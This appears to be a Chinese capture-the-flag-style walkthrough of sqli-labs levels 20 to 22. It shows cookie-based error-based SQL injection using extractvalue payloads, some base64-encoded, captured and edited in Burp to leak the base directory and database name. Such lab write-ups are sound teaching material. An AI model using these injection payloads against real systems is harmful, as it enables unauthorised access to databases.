Less20
从源代码中我们可以看到 cookie
从 username
中获得值后,当再次刷新时,会从 cookie
中读
取 username
,然后进行查询。
登录成功后,我们修改 cookie
,再次刷新时,这时候 sql
语句就会被修改了
先使用正确的账号密码登录一次。使用burp抓取第二个数据包。修改cookie
的值
1 | ' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))# |
Less21
与Less20处理流程一样,但是对cookie进行了base64
加密。利用Less20的方法,但是需要将payload
进行base64
编码处理(这里对uname进行了('uname')
处理)
1 | YWRtaW4nKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAYmFzZWRpciksMHg3ZSkpIw== |
Less22
本关和Less20、Less21是一致的,但是uname
进行了"uname"
的处理
构造payload
:admin"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
payload
进行base64
编码后,修改cookie
再进行提交
1 | YWRtaW4iYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSkpIw== |